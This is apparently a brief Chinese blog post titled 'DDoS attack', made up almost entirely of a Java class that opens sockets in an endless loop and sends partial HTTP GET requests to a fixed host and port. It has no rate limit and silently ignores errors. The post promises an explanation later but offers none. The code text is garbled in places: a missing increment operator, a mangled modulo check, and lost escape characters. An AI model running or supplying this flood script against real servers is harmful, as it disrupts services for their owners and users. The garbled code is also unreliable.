DDOS 攻击

2018-12-26 14:53:00 浏览数 (1)

代码语言:javascript复制
package cn.com.infcn.socket;

import java.io.OutputStreamWriter;
import java.net.Socket;

public class DDOSTest {
    
    private static String host = "192.168.1.1";
    private static int port = 80;

    public static void main(String[] args) {
        int i=0;
        
        //每秒访问100次
//      RateLimiter limiter = RateLimiter.create(1000);
        while(true) {
            attackDDOS();
            
//          limiter.acquire();
            
            //每秒访问100次
//          try {
//              Thread.sleep(10);
//          } catch (InterruptedException e) {
//              e.printStackTrace();
//          }
            
            i  ;
            if(i0==0) {
                System.out.println(i);
            }
        }
    }

    public static void attackDDOS() {
        try  {
            OutputStreamWriter out = new OutputStreamWriter(new Socket(host, port).getOutputStream(), "UTF-8");
            out.write("GET http://"   host   "/ HTTP/1.1rn");
            out.write("Host: "   host   "rn");
            out.flush();
        } catch (Exception e) {
        }
    }
}

具体原理,改天在补充

0 人点赞